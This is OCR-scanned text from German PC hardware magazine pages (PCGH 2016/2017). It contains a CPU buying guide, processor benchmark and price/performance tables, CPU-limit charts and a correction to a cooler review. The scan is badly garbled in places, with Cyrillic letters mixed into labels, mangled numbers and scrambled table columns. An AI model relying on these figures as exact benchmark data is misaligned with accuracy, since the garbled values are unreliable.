AMD A10:7860K (65W) —G rp 672% 
3,6/0,76 GHz - 2m/4t GPU 512ALUs || e 
Anno: 29/23 Bl:62/29 ^ TES:93/45 WoW:63/36 Lux:240 x264: 2,48 
Preis: Ca. 105 Euro BF4:6432 F1:75/59 TR: 79/31 7-Zip:455 LR5:288 


AMD A10-7800 (65W) 
3,5/0,72 GHz — 2m/4t — GPU 512 ALUs 


E Г f 


Anno: 30/22 ВІ: 54/27 


- TES: 113/45 — WoW:7336 Lux:230 x264: 2,44 
Preis: Ca. 95 Euro ВЕД: 60/29 — F1:76/57 — TR:73/29 7-71р:483 1&5:300 
AMD A8-7670K — EJ 
3,6/0,76 GHz — 2m/4t — GPU 384 ALUS 
| Anno: 28/23 Bt 57/26 — TES:92/42 — WoW: 63/34 Lux246 x264: 2,55 
Preis: Ca. 95 Euro ВЕД: 64/31 Р1: 80/58 ТА: 76/08 7-71р:441 — LR5:281 


AMD A8-7650K 
3,3/0,72 GHz — 2m/4t – GPU 384 ALUs 


: ja — | 


- Anno:28/21 ВІ:57/206 — TES:114/46 — WoW:70/34 Lux:230 x264: 2,44 
Preis: Ca. 85 Euro man nes mmm — 7ip:468 185:306 
AMD A8-7600 (65W) 132% 
3,072 GHz - 2n/4t - GPU 384 ALUS. || = 
Anno: 28/21 ВІ:56/25 ^ TES:111/45 WoW: 70/33 Lux:229 x264: 2,42 
Preis: Ca. 75 Euro | BF4:56/27 Е1:71/54 mm 7-71р:475 185:302 


niedrigen/1080p bei mittleren Detail 


Standard-Schärfen für Web); x264: 


(cs) 


Anno 2070/Battlefield 4/Bioshock Infinite/F1 2013/Skyrim/Tomb Raider: Durchschn. Fps in 768p bei 


s, kein AA/AF; World of Warcraft: Durchschn. Fps in 1080p mit mittl./ 


guten Details, Letzteres inkl. 4x MSAA, kein AF; 7-Zip v9.30: Sek. (kompr. von 3 GB gemischten Daten); Lux- 
mark 2.0: Punkte (Ksamples/s, Sala); Lightroom 5.3: Sek. (30 Raws in JPEG konvertieren, Vorgabe „kraftvoll”, 


ps (Ultra HD); System: 2x 4 GiB DDR3, Turbo an; Windows 8.1 Pro x64 


Wertungs-Berichtigung: Luftkühler-Marktübersicht 


In der PCGH 01/2017 wurde die Lautheit von vier 
Kühlern und die Ausstattung von zwei weiteren 
falsch benotet. Im Zuge der Korrektur küren wir 
den Mugen 5 nachträglich zum Testsieger. 


ersehentlich erhielten Scythes Mugen 5, 
Nu ETS-50 Axe, Thermaltakes Frio 
Silent 12 und Be Quiets Pure Rock in der PCGH 
01/2017 trotz unterschiedlicher Geräuschent- 
wicklung die gleiche Lautheits- und damit eine 
fehlerhafte Leistungsnote. Zusätzlich wurde der 
dem Thermalright Le Grand Macho beiliegende 
hochwertige Schraubendreher, der auch für die 
Verwendung abseits der Kühlermontage hilfreich 
ist, versehentlich dem True Spirit 140 Direct aus 
gleichem Hause zugeordnet. Bei korrekter Wer- 
tung verbessert sich die Endnote des Mugen 5 um 
0,34, die des Frio Silent 12 um 0,24, die des Pure 
Rock um 0,18 und die des Le Grand Macho um 
0,05. True Spirit 140 Direct und ETS-50 Axe ver- 
lieren 0,05 respektive 0,16 Notenpunkte. Die Leis- 
tungsnoten-Verbesserung beim Mugen 5 reicht 
in Kombination mit der guten Eigenschaftennote 
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des kompakten Kühlers für den Testsieg, obwohl 
sich auch der jetzt zweitplatzierte Le Grand Ma- 
cho RT verbessert. Auch der Pure Rock macht 
einen Platz gut und liegt jetzt vor dem ETS-50 
Axe. Wir bitten, den Fehler zu entschuldigen und 
vergeben nachträglich einen „Top-Produkt“- 
Award für Scythe. Die bereits vergebene Aus- 
zeichnung für den Le Grand Macho RT wurde 
anhand von dessen Eigenschaften vergeben und 
bleibt somit unabhängig von den Änderungen 
bestehen, genauso wie der Top-Technik-Award 
für Thermaltake und die nun noch bessere Preis- 
Leistungs-Wertung für Be Quiet. Auch alle Be- 
schreibungstexte und Benchmarkwerte der Aus- 
gabe 01/2017 sind korrekt. (tu) 


Kühler Ausstattung (alt) | Eigenschaften Leistung (alt) Endnote (alt) 
Scythe Mugen 5 1,89 1,95 2,23 (2,81) 2,11 (2,45) 
Thermalright Le Grand Macho RT 2,25 (2,49) 2,64 2,03 2,19 (2,24) 
Thermalright True Spirit 140 Direct 2,97 (2,73) 2,34 2,06 2,30 (2,25) 
Be Quiet Pure Rock 2,58 2,01 2,84 (3,14) 2,62 (2,80) 
Enermax ETS-50 Axe 2,61 2,16 2,87 (2,59) 2,67 (2,51) 
Thermaltake Frio Silent 12 3,00 QI 2,74 (3,14) 2,68 (2,92) 
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CPU-Kaufberatung 
2016/2017 


Die Anschaffung eines Pro- 


zessors wird immer mehr 
eine mittel- bis langfristige 
Investition. Grund genug 
für PCGH, die Grundlagen 
bei CPUs zu beleuchten. 
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Preis-Leistungs-Verhältnis: AMD- und Intel-Prozessoren bis 450 Euro in der Übersicht 


450 Ө 2 450 
ш Intel-Prozessoren eo ш 
400 8 AMD-Prozessoren @, e 490 
^ 
350 — Trendlinie auf Basis aller CPUs © e. ^ Ф 350 
3% -- Trendlinie bis 450,- Euro "S al 500 
о 
5 --"® 
ш 250 250 
= 
л 
= 2 200 
& 
5 150 150 
Ë 9 
100 100 
50 50 
0 0 
0 10 20 30 40 50 60 70 80 90 100 
Normierter PCGH-Leistungsindex (jeweils acht Spiele und Anwendungen) in Prozent 
Prozessor Gesamt-Index Spiele-Index Leistungs- Circa-Preis in Prozessor Gesamt-Index Spiele-Index Leistungs- Circa-Preis in 
Preis/Leistung Preis/Leistung index Euro Preis/Leistung Preis/Leistung index Euro 
1 | AMD FX-4300 100,0% 100,0% 31,6% 55 21 | Intel Core i5-4690K 38,8% 38,4% 55,6% 250 
2 | AMD Athlon X4 845 84,5% 82,0% 28,9% 60 22 | Intel Core i7-4790K 36,3% 34,3% 72,0% 350 
3 | AMD FX-6300 78,0% 75,5% 40,0% 90 23 | Intel Core i5-5675C 35,3% 37,3% 63,9% 310 
4 | Intel Pentium G4400 77,2% 70,3% 23,8% 55 24 | Intel Core i7-5820K 34,8% 31,6% 78,1% 400 
5 | Intel Core i3-6100 69,0% 73,4% 46,5% 115 25 | Intel Core i7-5775C 34,3% 35,2% 79,4% 400 
6 | AMD A8-7600 66,1% 64,2% 28,3% 75 26 | Intel Core i5-3570K 33,6% 33,9% 51,4% 265 
7 | AND FX-6350 64,8% 61,6% 42,2% 115 27 | Intel Core i7-6800K 33,2% 29,8% 81,6% 440 
8 AMD FX-8320E 61,3% 56,5% 43,1% 125 28 | Intel Core i7-4770K 33,1% 31,4% 67,6% 360 
9 | AMD FX-8350 61,1% 55,2% 49,6% 145 29 | Intel Core i7-2600K 32,2% 31,1% 53,2% 290* 
10 | AMD FX-8370 54,1% 48,9% 49,9% 165 30 | Intel Core i7-4820K 30,0% 29,7% 61,9% 360 
11 | AMD A10-7800 52,9% 51,3% 28,7% 95 31 | Intel Core i7-3770K 28,6% 27,9% 60,5% 370 
12 | AMD A10-6800K 51,6% 49,8% 30,8% 105 32 | Intel Core i7-5930K 23,9% 21,6% 80,2% 600 
13 | AMD FX-9590 49,7% 44,6% 54,1% 195 33 | Core 2 Quad 06600 20,7% 18,6% 19,7% 170 
14 | Intel Core 15-6500 46,3% 45,4% 54,3% 205 34 | Intel Core i7-6900K 15,7% 12,9% 94,4% 1.100 
15 | Intel Xeon E3-1230 v5 44,6% 42,5% 69,6% 275 35 | Intel Core i7-5960X 14,6% 12,1% 85,5% 1.070 
16 | AMD A10-7870K 43,3% 42,3% 30,9% 125 36 | Intel Core i7-3960X 12,9% 11,7% 72,2% 1.000* 
17 | Intel Core i5-6600K 41,4% 40,3% 57,8% 245 37 | Core 2 Duo E6600 12,8% 10,4% 9,0% 130 
18 | Intel Core i7-6700K 41,0% 39,6% 79,3% 340 38 | Intel Core i7-4960X 12,2% 10,9% 74,9% 1.100 
19 | Intel Core i5-2500K 40,1% 40,0% 43,8% 190* 39 | Intel Core i7-990X 11,4% 10,0% 59,6% 940* 
20 | Intel Core i5-4670K 39,5% 39,1% 54,4% 240 40 | Intel Core i7-6950X 10,7% 8,5% 100,0% 1.720 
Basis: PCGH-Leistungsindex in Relation zum bei Redaktionsschluss aktuellen Marktpreis. Im Diagramm: CPUs bis 450 Euro, Trendlinien: Durchgezogene Linie: Alle Prozessoren; gestrichelt: Im Diagramm abgebildete Prozessoren. 


ine Kaufberatung so kurz vor 
AMDs Zen-Launch? Ja, 
zwar gerade jetzt! Denn in dieser 
Kaufberatung geht es nicht nur um 


und 


konkrete Produkte, sondern viel- 
mehr darum, Ihnen als Leser die 
grundlegenden Mittel an die Hand 
zu geben, die Kriterien bei der Aus- 
wahl des für Sie optimalen Prozes- 
sors selbst zu bewerten. 


Der Motor des Spiele-PCs 

Noch bevor die Grafikkarte die Pi- 
xel schön macht und ans Display 
sendet, muss die CPU ran. Auf ihr 
laufen die grundlegenden Berech- 
nungen, welche den 3D-Knecht 
erst mit Daten versorgen. Ist der 
Prozessor zu langsam, kann die 
Grafikkarte noch so flott sein, Ihr 
PC wird nie aus dem Fps-Tal heraus- 
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kommen. Positiv formuliert bedeu- 
tet das, Sie können die Auflösung 
und die grafiklastigen 3D-Optionen 
wie Ambient Occlusion oder Schat- 
teneinstellungen erhöhen, 
dass die Fps merklich sinken. Rea- 
listisch betrachtet jedoch wird Ihre 
(teure) Grafikkarte von einer zu 


ohne 


langsamen CPU gebremst. Auch die 
für ein flüssiges Spielgefühl wichti- 
gen Minimum-Fps an besonders an- 
spruchsvollen Stellen eines Spiels 
etwa oder während des Nachla- 
dens (Streaming) von Leveldaten 
in einer offenen Spielwelt fallen 
merklich niedriger oder sogar stó- 
rend aus. 


Dieser Zustand wird gemeinhin 
auch als CPU-Limit bezeichnet und 
ist umso deutlicher, je stärker das 


Leistungpendel zwischen Prozes- 
sor und Grafikkarte zugunsten letz- 
terer ausschlägt. 


Genau aus diesem Grund testen 
wir die CPU-Leistung in der ver- 
gleichsweise niedrigen Auflösung 
von 1.280 x 720 Pixeln in Kombina- 
tion mit einer flotten, übertakteten 
EVGA Geforce GTX 980 Ti. Denn 
wir wollen nicht, dass die Prozes- 
sorleistung über Gebühr vom 3D- 
Beschleuniger gebremst wird - 
solche Werte in 1080p oder höher 
wären spätestens mit Erscheinen 
der Titan X (Pascal) überholt und 
damit quasi unbrauchbar. Auf der 
folgenden Doppelseite zeigen wir 
anhand des sehr gut mit mehreren 
Kernen skalierenden Shooters Cry- 
sis 3 exemplarisch, wie sich auch 


krasse Performanceunterschiede 
zwischen CPUs mit steigendem 
Grafiklimit angleichen, bis am Ende 
kaum noch ein Unterschied zwi- 
schen einer 1.700-Euro- und einer 
100-Euro-CPU zu sehen ist. Behal- 
ten Sie diesen Umstand auf jeden 
Fall im Hinterkopf, sofern Sie Ihre 
CPU ausschließlich anhand der 
(von der Grafikkarte beeinflussten) 
Spieleperformance auswählen. 


Bei Anwendungen sehen die Kri- 
terien zumeist anders aus. Hier 
beeinflusst die Grafikkarte das Ge- 
schehen weniger stark und viele 
moderne Programme profitieren in 
einem größeren Maße von zusätzli- 
chen Kernen, während viele Spiele 
oft noch besser mit Takt als mit Ker- 
nen skalieren. Zudem sind viele An- 
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Plattform-Wahl: Sockel 1151 


Dank Kaby Lake wird Intels Mid- 
Range-Sockel 1151 zumindest bis 
zum Zen-Launch die für viele Anwen- 
der sinnvollste Plattform bleiben. 


Auch wenn Kaby Lake kein gigantischer 

Sprung in der CPU-Performance ist, bleibt 

immerhin zu konstatieren, dass die Preise 

ebenfalls im (bekannt hohen) Rahmen 

bleiben. Solange AMD nicht auch Zen-Pro- 

zessoren wie SR5 oder SR3 zur Spitzen- 

gruppe Ryzen SR7 gesellt, wird für die 

meisten Kunden mit unmittelbarem Kauf- 

wunsch die Sockel-1151-Plattform der beste Kompromiss aus Leistung, (Kühlungs-) 
Aufwand und Kosten bleiben. Vierkerner sind — speziell mit Hyperthreading für 100 
Euro Aufpreis — auch heute noch für alle Anwendungen vollkommen ausreichend, 
auch wenn der Trend eindeutig zu noch mehr Kernen geht und dank Zen vielleicht 
bald sogar bezahlbar wird. Alternativen gibt's in den beiden anderen Kästen. 


Plattform-Wahl: Sockel 2011/2066 


Auch wenn er 2017 abgelöst wird, 
bleibt der Sockel 2011 mit seinen 
bis zu 10-kernigen CPUs einstweilen 
noch die High-End-Lösung. 


Aktuell (und wohl auch künftig) bis zu 10 

Kerne, Vierkanal-Speicher und dazu der 

eigentlich veraltete X99-PCH — der Sockel 

2011 stellt die zurzeit flotteste Plattform, 

pfeift speziell in Sachen Infrastruktur aber 

auf dem letzten Loch. PCI-Express 3.0 

stellen aktuelle CPUs zwar noch selbst, 

für USB 3.1 gen2 mit 10 GB/s Transferrate etwa braucht es Zusatzchips, die nach 
Möglichkeit nicht an den lahmen PCH angebunden sind. Hinzu kommen hohe 
Leerlauf-Verbrauchswerte, abermals bedingt durch den durstigen PCH und die 
meist opulente Ausstattung der High-End-Boards. Spieler und Anwender, denen 
der Sinn nach maximaler Performance und langfristig ausreichender Kernanzahl 
steht, werden aktuell jedoch nur hier bedient — oder man wartet auf Zen. 


Plattform-Wahl: Sockel AM3/4 


Für AMD-Fans steht 2017 eine neue 
CPU-/APU-Plattform an: der Sockel 
АМА mit DDR4- und PCI-E-3.0-Sup- 
port. FM2+ und AM3+ sind obsolet. 


AMD steht CPU-seitig vor dem größten 

Umbruch der Firmengeschichte und das 

bedingt eine neue, moderne Plattform 

(АМА). Investitionen in die veralteten 

Sockel FM2+ (APUs/Athlon) und AM3+ 

sind daher nur bei strengen Budgetlimits 

noch zu empfehlen. Soll es eine mehr(-als- 

zwei-)kernige CPU sein und darf diese maximal 120 oder gar nur 100 Euro kosten, 


führt kein Weg an AMDs AM3- vorbei. Für günstige Rechner, die jedoch mit höherer 


Abwärme zu kämpfen haben werden, empfehlen sich entweder der Dreimoduler 

FX-6300 (mit sechs Threads) für 90 Euro oder die Viermoduler FX-8300 respektive 
FX-8320E. Für langfristig anspruchsvolle Nutzung sollten Sie allerdings nicht mehr 
auf AMDs alte, sondern in ein paar Monaten lieber auf die neue Plattform setzen. 
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CPU-Limit vs. GPU-Limit in Crysis 3 , Fields" 


1.280 x 720, max. Details, kein AA/AF, min. Post-Processing 

Intel Core i7-6950X (-1.720 EUR) al 193,2 (Basis) 
AMD FX-6300 (-90 EUR) ott 66,5 (-66 96) 

1.920 x 1.080, max. Details, SMAA high (4x)/16:1 AF 

Intel Core i7-6950X (-1.720 EUR) IE" 90,4 (Basis) 
AMD FX-6300 (-90 EUR) Essa 63,1 (-30 96) 

2.560 x 1.440, max. Details, SMAA high (4x)/16:1 AF 


Intel Core i7-6950X (-1.720 EUR) ВЕ 56,2 (Basis) 
AMD FX-6300 (-90 EUR) Em 52,5 (-7 9b) 


System: X99/7170, 8 GiByte RAM pro Speicherkanal, Geschw. jeweils laut max. CPU- 
Spezifikation, EVGA GTX 980 Ti @1,4/3,9 GHz (379.06 HQ); Windows 10 x64 (1607) Be- 
merkungen: Das Diagramm rechts stark vereinfacht zusammengefasst: GPU bremst CPU. 


Bilder/Sek. 
Mimil 2 Fps 


» Besser 


wendungen nicht auf Echtzeit-Per- 
formance angewiesen, sondern die 
CPU-Leistung bestimmt vielmehr 
die Wartezeit - also etwa, ob wäh- 
rend des Video-Transcodings ein 
schwarzer (3 - 5 Minuten Ziehzeit) 
oder ein grüner Tee (5 - 8 Minuten) 
zubereitet werden kann. Während 
die Wartezeit bei geschäftlicher 
Nutzung natürlich gleichbedeu- 
tend mit barer Münze sein und sich 
die Anschaffung einer sehr teuren 
CPU lohnen kann, ist das im priva- 
ten Bereich eher selten der Fall und 
die Anwendungsperformance von 
Prozessoren eher eine Frage der 
persönlichen Geduld. 


... und das Getriebe 
Erschwerend kommt bei der Pro- 
zessorwahl hinzu, dass bei dessen 
Leistung oft nicht so viele Stell- 
schrauben vorhanden sind. In 
manchen Spielen ist es einzig die 
Sichtweite in der Spielwelt, welche 
nennenswerte Auswirkungen auf 
die CPU-Anforderungen hat, und 
die beeinflusst dann gleich auch 
noch die Orientierung in der Welt 
oder bringt gar handfeste Nach- 
teile, etwa wenn Gegner später zu 
sehen sind. Bei einer Grafikkarte 
kónnen Sie allein durch die Anzahl 
der gerenderten Pixel, also die Auf- 
lósung, oder durch die Beleuch- 
tungsberechnungen (Ambient Oc- 
clusion etwa) den Rechenaufwand 
drastisch beeinflussen. Für durch- 
weg flotte Spiele sollten Sie also bei 
der CPU nicht zu knauserig sein. 


Wichtiger Faktor: Die ge- 
plante Nutzungsdauer 

In den vergangenen Jahren stieg 
die durchschnittliche Nutzungszeit 
von CPUs gefühlt stark an. Wer sich 
etwa zu Sandy-Bridge-Zeiten spe- 
ziell für einen übertaktbaren Core 


i5 oder i7 entschieden hatte, kann 
damit auch heute, 6 Jahre später, 
noch so gut wie alle Spiele prob- 
lemlos zocken, wie unser Worst- 
Case-Benchmark in Battlefield 1 
Multiplayer beweist (s. übernächs- 
te Doppelseite). 


Inzwischen jedoch setzen auch ver- 
mehrt Spiele auf mehr als vier Ker- 
ne und sind in der Lage, Nutzen aus 
zusätzlichen Recheneinheiten zu 
ziehen. Hinzu kommt, dass mit Di- 
rect X 12 die Ansteuerung etwa von 
Sechs- oder Achtkern-CPUs verein- 
facht wurde, sodass Fps-Gewinne 
künftig eher steigen dürften. Auch 
sind in den letzten Jahren die CPU- 
Preise weitgehend stabil geblieben, 
ohne dass es großartige „Abver- 
kaufsaktionen“ etwa für den vom 
i7-6800K beerbten und beliebten 
i7-5820K (beides Sechskerner) ge- 
geben hätte. 


Wenn Sie „Vernunftkäufer“ sind, 
lohnt es sich daher durchaus, bei 
der nächsten Anschaffung über das 
unmittelbar nötige Maß hinaus zu 
denken und bei entsprechendem 
Budget eventuell eine Leistungs- 
klasse höher zu planen. Dank AMDs 
kommender Zen-Prozessoren sind 
dann vielleicht auch Acht- statt 
Sechskerner erschwinglich. 


Takt oder Architektur 

Jahrelang war allein die Frage nach 
der Anzahl der Megahertz ent- 
scheidend, doch heute ist die Si- 
tuation komplexer. So haben AMD 
und Intel inzwischen vollkommen 
voneinander unabhängige Archi- 
tekturen entwickelt, sodass sich 
reine Taktraten nicht mehr sinn- 
voll vergleichen lassen. Aktuelle 
AMD-Prozessoren mit Bulldozer- 
Architektur sind auf hohe Takt- 
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Beispiel: Prozessor-Leistung mit zunehmendem Grafiklimit illustriert 
Crysis 3 , Fields": 1.280 x 720 (kein AA/AF/minimales Post-Processing) - 1.920 x 1.080/2.560 x 1.440 (SMAA hoch 4x, 16:1 AF, maximale Details) 
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720 Core i7-6950X (193,2 @-Ерѕ) 1080 Core i7-6950X (90,4 O-Fps) 1440 Core i7-6950X (56,7 O-Fps) 
Pi sen Core i7-6900K (176,9 O-Fps) p === Core i7-6700K (89,9 @-Fps) p == AMD FX-6300 (52,6 Ø-Fps) 
еее Core i7-6800K (154,1 Ø-Fps) Core 15-6500 (77,2 O-Fps) 
20 eene Core i7-6700K (132,9 Ø-Fps) === AMD FX-6300 (63,1 Q-Fps) 20 
Core 15-6500 (81,9 @-Fps) 
eee. AMD FX-6300 (66,5 O-Fps) 
0 0 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 
Zeit їп Sekunden 
System: X99/7170/990FX-Chip, 8 GiByte RAM pro Speicherkanal, Geschwindigkeit jeweils laut maximaler CPU-Spezifikation, EVGA GTX 980 Ti @1,4/3,9 GHz (379.06 WHQL); Windows 10 x64 (1607) Bemerkungen: Je höher die 
Auflösung, desto stärker limitieren auch schnelle Grafikkarten. Folglich rücken auch CPUs mit stark unterschiedlicher Leistung teils sehr eng zusammen, wie die durchgezogenen Linien (1440р) zeigen. 
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Gretchenfrage: Quad- oder 
Hexacore. Eine Meinung. 


Für heutige Belange reicht ein Quadcore zu 99 Prozent 
vollkommen aus. Selbst das im Multiplayer für die CPU 
derzeit wohl forderndste Spiel Battlefield 1 kommt mit 
einem Quadcore inklusive Hyperthreading über die ma- 
gische 60-Fps-Marke. Wer heute jedoch erwàgt, einen 


neuen Prozessor im Bereich zwischen 300 und 400 
Euro zu kaufen, der sollte noch warten. Denn Ende des 
ersten Quartals 2017 wird AMD hoffentlich die ersten 
Zen-Modelle am Markt haben und die werden das von 


В NW 2 
Carsten Spille 


Intel dominierte Preisgefüge im Bereich über 500 Euro 

sicherlich erschüttern, wenn auch nicht zerbrechen 

können. Positive Effekte dürften auch nach „unten“ hindurchtröpfeln, damit die Ab- 
stände zwischen den teuersten Modellen und den empfehlenswerten Sechskernern 
nicht alles Maß verlieren. Und dann kann man immer noch zugreifen. 


Starcraft 2 x64: Skalierung mit Taktrate 


SCH HotS Veteranen" (720p), max. Det., kein AA/AF/AO/ min. Post-Processing 
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IB Core i7-6700K (Durchschn. Fps) 
+ B Core i7-6700K (Minimum-Fps) 

Core i7-47x0K (Durchschn. Fps) 
+ $ Core i7-47x0K (Minimum-Fps) 

А AMD FX-8350 (Durchschn. Fps) 
+. À AMD FX-8350 (Minimum-Fps) 


12 14 16 18 20 22 24 2,6 2,8 30 32 34 3,6 3,8 40 42 44 46 48 
Taktrate in Gigahertz 


System: Intel 797/170, AMD 990FX, 8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spezifika- 
tion), GF GTX 980 Ti (359.06 НО); Win 10 x64 (1607) Bemerkungen: Die SC2-Leistung steigt , supralinear", 
also schneller als der Takt. Der , Knick" in der kritischen Minimal-Frequenz ist im Verlauf gut sichbar. 


CPU-Leistung in Starcraft 2 x64: Zu viele Zergs 


SCH HotS Veteranen" (720p), max. Det., kein AA/AF/AO/ min. Post-Processing 
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Bilder pro Sekunde (Fps) 


^ * Intel Core i7-4000 
\ O Intel Core 17-3000 
А AMD FX-8000 / 
И Intel Core 17-6000 / 


° — 
— 

rA 

~ 


1 2 345 6 7 8 9 1011 12 13 14 15 16 17 18 19 20 
Zeit in Sekunden 


System: Siehe oberes Diagramm; hier laufen alle CPU-Architekturen ohne Stromsparfunktionen bei konstanten 


4 GHz. Bemerkungen: Sobald unsere Zerg-Armee sich auf Gegner stürzt (Sekunde 2 bis 11 und 13 bis 19), 
brechen die Fps stark ein, bei der AMD-FX-CPU aufgrund der niedrigen Pro-MHz-Leistung am stárksten. 


frequenzen optimiert und laufen 
in der Regel mit mehr als 4 GHz. 
Intel-CPUs takten niedriger, leisten 
aber pro Kern und MHz zum Teil 
deutlich mehr, sodass hier von den 
technischen Eckdaten her kein di- 
rekter Vergleich sinnvoll erscheint. 
Schauen Sie für einen groben Ver- 
gleich daher lieber auf Vergleiche 
wie unseren CPU-Leistungsindex. 
2017 wird sich auf Intel-Seite hier 
wohl hauptsáchlich durch etwas 
mehr Takt etwas àndern, wáhrend 
die AMD-Fraktion Dank der Zen-Ar- 
chitektur neue Leistungsregionen 
erklimmen dürfte. 


Spiele vs. Anwendungen 
Wann es bei Ihnen auf hohe Leis- 
tung ankommt, hängt vom primä- 
ren Nutzungsszenario Ihres PCs 
ab. Während die meisten Spiele 
in Echtzeit laufen, also eine be- 
stimmte Bildrate benötigen, um 
sich sinnvoll bedienen zu lassen, 
sieht das bei Anwendungen meis- 
tens anders aus. Scheiden sich in 
Spielen die Geister, ob es 30 oder 
60 und mehr Bilder pro Sekunde 
sein sollten, für die der Prozessor 
die Vorarbeit leisten muss, kommt 
es bei Anwendungen darauf an, 
ob sie sich noch flüssig bedienen 
lassen. Etwa die Änderung eines 
Parameters in der Bildbearbeitung: 
Wird diese schnell genug umge- 
setzt, um Vorher-nachher-Verglei- 
che zu erlauben? Als Faustregel 
gilt, dass Anwendungen oft besser 
parallelisiert sind und daher eher 
von zusätzlichen Kernen profitie- 
ren können. Spiele hingegen sind 
nach wie vor meist auf eine hohe 
Leistung pro Kern angewiesen (s. 
Extremfall Starcraft 2 links), da ihre 
Performance oft an „dem entschei- 
denen“ Game-Thread hängt und die 
restlichen Kerne diesen nur entlas- 
ten können. 


Intel Core vs. AMD FX 
Was wie eine Entweder-oder-Frage 
aussieht, wird in der Praxis oft 


entscheidend vom verfügbaren 
Budget beeinflusst. Bei AMD be- 
kommen Sie derzeit bis gut 150 
Euro einfach mehr CPU fürs Geld, 
etwa in Form des FX-6300 (3 Mo- 
dule/6 Threads, 3,5 GHz Basistakt) 
oder des FX-8320E (4 Module/8 
Threads, 3,2 GHz), welche sich 
problemlos jeweils um ein paar 
Hundert Megahertz übertakten 
lassen - Sie sollten sich hier jedoch 
darüber im Klaren sein, dass Sie in 
eine „tote“ Plattform investieren. 
Sie wissen schon ... Zen. Intel-Mo- 
delle dagegen werden erst mit vier 
Kernen - zum Beispiel der Core 
15-6500 oder der -6600K für Über- 
takter - wirklich interessant, wenn 
sie einen rundum spieletauglichen 
PC antreiben sollen. Zwar bieten 
auch Core-i3-CPUs vier Threads, 
zwei davon sind aber nur virtuell 
vorhanden. Sie rechnen daher in 
der Regel langsamer als echte Vier- 
kerner. 


Aufrüstung oder Neukauf? 
Je nachdem, ob Sie vorhaben, sich 
komplett von der Alt-Hardware 
zu trennen, oder ob möglichst 
viel davon weitergenutzt werden 
soll, bieten sich unterschiedliche 
Lösungen an. AMDs für Desktop- 
CPUs aktuelle Plattform AM3+ ist 
technisch gesehen nicht mehr up 
to date, nimmt aber dafür sämtli- 
che FX-Prozessoren sowie deren 
Phenom-Il-Reihe 
auf. Falls Sie bereits so ein Board 
besitzen, schauen Sie doch auf der 
Hersteller-Website, mit welchen 
FX-CPUs es noch kompatibel ist. 
Bei Intel hingegen erfordert bei- 
nahe jede neue CPU-Generation 
ein neues Mainboard - Kaby Lake 
läuft als „Taktupgrade“ von Skylake 
mit passendem UEFI (s. Heft-DVD) 
allerdings noch in Boards der 
100-Serie. Aufrüster haben es also 
schwer, sofern sie nicht von einem 
Haswell-Pentium oder -Core-i3 aus 
innerhalb derselben CPU-Generati- 
on upgraden. 


Vorgänger der 
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Intel Core i7-7700K 
4,2 GHz - Ac/8t 


Preis: Ca. 400 Euro 


In — DAL138 


Nachtragsindex mit Kaby Lake 


Wi Gesamtindex Bi Spieleindex Bl Anwendungsindex 


A22: 40 C144 R:89 
FC4: 131 


SC2:62 ëmm 7214 BLD:205 Optrag 
TW3:126  3DMP.14040 LRS:118 (815974 yCr.98 


Intel Core i5-7600K 
3,8 GHz - 40/41 


Preis: Ca. 280 Euro 


ACS:100 DAI: 111 


A22: 30 С3:102  F1:68 
F(4:117 


SQ:50 FCB:12716 — 72:256 
TW3:95  3DMP:9013 LR5:129 


BLD:332 х264:126 
CB15:676  yCr.130 
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PCGH-Index: Top 40 CPUs 
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Wi Gesamtindex Bi Spieleindex I Anwendungsindex 


Intel Core 17-6950Х ШЕЕ + Intel Core 15-6500 | BE ::: 2 
3,0 GHz — 10c/20t — РІМ 10,7 % | ТЕЙ 100% 3,2 GHz — 40/41 — PLV 46,3 % 

- 22:37 (3:193 F1:130 sm СВ:24097 72:120 BLD:117 264:61 = AM (3:83 nm — SC2:34 FCB:10566 72:293 BLD:391 264151 
Preis: Ca. 1.720 Euro ACS:137 ОАЕ 138 FC4:90 — TW3:135 3DMP:21430 LRS:90 CB15:1805 yCr: 70 Preis: Ca. 205 Euro ACS:87 Dä ЕС4:99 — TW3:79 ЗОМР: 7433 LR5:149 CB15:560 yCr:153 
Intel Core i7-6900K Pm AMD FX-9590 | E 1 

3,2 GHz - 8c/16t PLV 15,7 96 4,7 GHz- 4m/8t— PLV 49,7 % | 
A22:36 (3:177 F1:124 Om — FCB:24761 72:126 BLD:143 264:72 40:25 (3% np 50:20 СВ:15018 72208 BLD:415 — 3264:138 
Preis: Ca. 1.100 Euro ACS:136 DAI:136 FC4:89 — TW3:135 ЗОМР: 19232 LR5:93 CB15: 1483 yCr: 75 Preis: Ca. 195 Euro ACS:81 — DAE81 ЕС4:79 — TW3:81 ` 3DMP:8407 LR5:146 CB15:727 yCr:256 
Intel Core 17-5960Х ` | awawa——— Intel Core i7-2600K aww: °, 
3,0 GHz - 8c/16t PLV 14,6 % з,4 бно – 40/81– РІУ 32,2% | AE 
A22:28 (3:164 Fi:115 52:31 FCB:23164 72:135 BLD:161 264:81 A22:27 (392 np wm FCB:13134 72:253 BLD:351 x264:190 
Preis: Са. 1.070 Euro АС: 127 DAI:130 FC4:84 ТМЗ: 124 ЗОМР: 16203 185: 108 CB15: 1329 уст: 81 Preis: Са. 290 Euro* ACS:85 DAF89 FC4:83 — TW3:84 ЗОМ: 8971 15: 175 СВ15:619 уСг:317 
Intel Core i7-6800K |: ___ Intel Core 15-3570 ws... 
3,4 GHz — 6c12t- PLV 33,2 % | EEA 3,5 бнг – 4/4: – РІМ 33,6 % | ЕИ 36,4% 
A22:3A (3:14 Р1:104 52:34 СВ:19695 72:170 BLD:186 x264:97 22:28 (380 na — 50:26 FCB:10891 72:285 BLD:431  3264:199 
Preis: Ca. 440 Euro ACS:130 DAL 131 FC4:93 — TW3:118 ` 3DMP:15644 185: 111 CB15: 1114 уст: 108 Preis: Ca. 265 Euro* ACS:82 DAE86 ЕС4:97 TW3:76 ЗОМР: 6953 LR5:159 CB15:524 yCr:348 
Intel Core i7-5930K | awas AMD FX-8370 wn 
3,5 GHz — 6c/12t — РІМ 23,9 % 67.9 % 4,0 GHz — 4m/8t — PLV 54,1 % 

: A22:33 (3:154 F1:105 SC2:32 — FCB:19845 72165 BLD:198 x264:102 - A22:23 Op na au FCB:13123 7:219 BLD:465  264:154 
Preis: Ca. 600 Euro АС5:127  DAEL130 FC4:94 TW3:119 ` 3DMP: 13942 LR5: 116 CB15: 1086 yCr: 107 Preis: Ca. 165 Euro ACS:7] — DAE7G ЕС4:75 — TW3:77 — 3DMP:7842 15:157 CB15:649 yCr:269 
